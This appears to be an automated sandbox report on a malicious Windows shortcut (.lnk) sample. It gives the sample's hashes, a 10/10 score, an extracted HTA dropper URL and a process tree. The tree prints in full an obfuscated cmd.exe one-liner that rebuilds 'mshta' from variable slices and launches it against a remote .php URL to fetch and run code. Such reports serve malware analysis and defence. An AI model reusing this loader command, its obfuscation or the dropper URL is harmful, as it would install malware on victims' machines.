Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-PQYYMJ.lnk
  • Size 2KB
  • Sample260804-kae6msveqf
  • SHA256 95dc3769521fdb0cddac23bd78811c647e0fb76937aec9a238d674ddf2293ee2
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PQYYMJ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:880
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set RMeD=wnmsxr&&set VLvCt=fa7htwt&&set kQuJ=pcad&&set Ros=tmpwljguxlhhrtfgctttttmp&&set hUuzF=infgnipinf&&set qxV=datwdgmptmdtdat&&set zgp=datywqkibldkxtsmtecxdat&&set DOPZ=logabzzczbfllog&&set fiMD=cacheoketxtfcache&&set StLEo=tmptftybbohyyfszigcwdtmp&&set rUn=is2m&&set pgFF=93mtarjo&&set sOX=kti&&set Dq=netxaoervmpsjhlzrclwnet&&set eZqRJ=https://ma-pdf@fi@l@[email protected]@a@t/@h/@e@sta@gi@o1.@php?r=39@146@9F@B5@D8@2D@B&&start /b !RMeD:~2,2!!VLvCt:~3,2!!kQuJ:~2,1! !eZqRJ:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5332
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:956

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads